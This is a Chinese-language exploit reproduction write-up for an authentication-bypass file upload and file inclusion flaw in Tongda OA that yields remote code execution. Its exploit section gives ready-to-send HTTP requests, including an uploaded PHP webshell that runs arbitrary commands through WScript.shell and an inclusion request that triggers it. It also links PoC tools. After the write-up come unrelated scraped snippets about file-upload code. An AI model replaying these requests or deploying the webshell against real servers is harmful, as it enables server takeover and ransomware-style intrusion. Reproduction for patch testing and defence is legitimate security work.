通达OA 任意文件上传+文件包含导致RCE漏洞复现

0X00漏洞简介

通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。

该漏洞被黑产利用,用于投放勒索病毒

该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限。

0X01漏洞影响

V11版、2017版、2016版、2015版、2013增强版、2013版

0X02漏洞原理

被授权的远程攻击者通过文件上传配合文件包含,触发远程恶意代码执行。系统中auth.php是登陆验证的相关逻辑,upload.php中$P参数如果非空就不需要经过auth.php验证即可执行后续代码。利用此处逻辑漏洞可绕过登陆验证直接上传文件。攻击者可通过精心构造json进入47行的includ_once进行文件包含

0X03漏洞环境搭建

我用的环境是通达V11下载地址为

链接:https://pan.baidu.com/s/1nm-kBi4zOwXDZFtjmf7n2Q

提取码:z863

如果需要看源码的使用解密工具解密查看即可解密工具下载地址为

链接:https://pan.baidu.com/s/1-Bzki6lLOflFIlhIY2gNzg

提取码:akiz

下载好源码后解压缩直接运行EXE文件安装,访问localhost即可。

0X04漏洞复现

有些版本gateway.php路径不同

如2013:

/ ispirit/ im/ upload. php

/ ispirit/ interface/ gateway . php

2017:

/ispirit/ im/ upload. php

/ mac/ gateway. Php

本文使用的v11版本路径为

/ispirit/im/upload.php

/ispirit/interface/gateway.php

访问任意文件上传漏洞路径/ispirit/im/upload.php

使用burp抓包发送小马数据包可以看到成功上传

访问本地文件包含漏洞 /ispirit/interface/gateway.php

使用burp抓包发送构造文件包含数据包并执行命令

0X05poc工具

https://github.com/M4tir/tongda-oa-tools

https://github.com/fuhei/tongda_rce

0X06exp代码

文件上传

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.1.106
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST[&apos;cmd&apos;];
$wsh = new COM(&apos;WScript.shell&apos;);
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

文件包含

POST /mac/gateway.php HTTP/1.1
Host: 10.10.20.116:88
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2003/941633647.jpg"}&cmd=whoami

exp代码有问题可以加群向群主反馈,复现遇到的问题也可以一起研究。

代码分析部分请加群获取

0X07修复建议

更新官方补丁

http://www.tongda2000.com/news/673.php

原文地址:https://www.cnblogs.com/L0ading/p/12565426.html

时间: 2024-12-15 15:57:44

通达OA 任意文件上传+文件包含导致RCE漏洞复现的相关文章

CI支持各种文件上传-文件类型(Linux + window)

$mimes = array( 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'csv' => array('text/x-comma-separated-values', 'text/comma-separated-values', 'application/octet-stream', 'application/vnd.ms-excel', 'application/x-csv'

SWFUpload多文件上传 文件个数限制 setStats()

使用swfupload仿赶集的图片上传 SWFUpload是一个基于flash与javascript的客户端文件上传组件. handlers.js文件 完成文件入列队(fileQueued) → 完成选择文件(fileDialogComplete) → 开始上传文件(uploadStart) → 上传处理(uploadProgress) → 上传成功(uploadSuccess) → 上传完成(uploadComplete)  → 列队完成(queueComplete) 如上所示,单选文件顺序执

PHP核心编程--文件上传(包含多文件上传)

一.单文件上传 图片上传界面: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> <form name='frm'action="./uploadSave.php" method="p

django中处理文件上传文件

1 template模版文件uploadfile.html 特别注意的是,只有当request方法是POST,且发送request的<form>有属性enctype="multipart/form-data"时,request.FILES中包含文件数据,否则request.FILES为空. <form method="post" action="" enctype="multipart/form-data"

IE8 文件上传文件为空的问题

今天在使用之前做的应用系统时发现原来能使用的文件上传今天突然不能使用了,换了浏览器试了下原来是IE8的问题,firefox.chrome倒是没有这种问题,网上查了下原来又是IE8的问题,真是崩溃了... IE8基于安全的考虑,文件上传只允许鼠标的点击触发文件浏览及上传.如果是通过js触发的文件浏览就会导致上传失败(默认的input[type=file]的样式太差,与现有系统不一致,所以大多系统开发时会使用自定义的浏览按钮通过js调用原input[type=file]的onclick或者oncha

实现文件上传文件的地址的获取手段之一IO流读取

这是为了我方便之后来查询的代码: 该文件上传是使用form表单提交到后台再使用io流读取,获得文件路径:待修改和完善 package cn.edu.web.servlet; import cn.edu.pojo.Course; import cn.edu.service.CourseListService; import cn.edu.service.CourseListServiceImpl; import com.google.gson.Gson; import org.apache.com

struts文件上传——文件过大时错误提示的配置问题说明

开始只在struts.xml文件中加入以下配置 <constant name="struts.multipart.maxSize" value="10000" /> 在index.jsp文件中加入的 <s:fielderror/>没有显示 只会在控制台打印错误信息: 警告: Request exceeded size limit!org.apache.commons.fileupload.FileUploadBase$SizeLimitExc

vue axios 与 FormData 结合 提交文件 上传文件

---再利用Vue.axios.FormData做上传文件时,遇到一个问题,后台虽然接收到请求,但是将文件类型识别成了字符串,所以,web端一直报500,结果是自己大意了. 1.因为使用了new  FormData来操作表单,并且在测试模拟请求时,从消息头里看到的确实是表单提交[Content-Type: multipart/form-data]. 所以就没有单独在设置. 结果后来加上了这个配置才可以通过了.这里的原理请参照转发大神的原帖. 这个必须设置:Content-Type: multip

PHP漏洞全解(九)-文件上传漏洞

本文主要介绍针对PHP网站文件上传漏洞.由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP解释器,就可以在远程服务器上执行任意PHP脚本,即文件上传漏洞. 一套web应用程序,一般都会提供文件上传的功能,方便来访者上传一些文件. 下面是一个简单的文件上传表单 <form action="upload.php" method="post" encty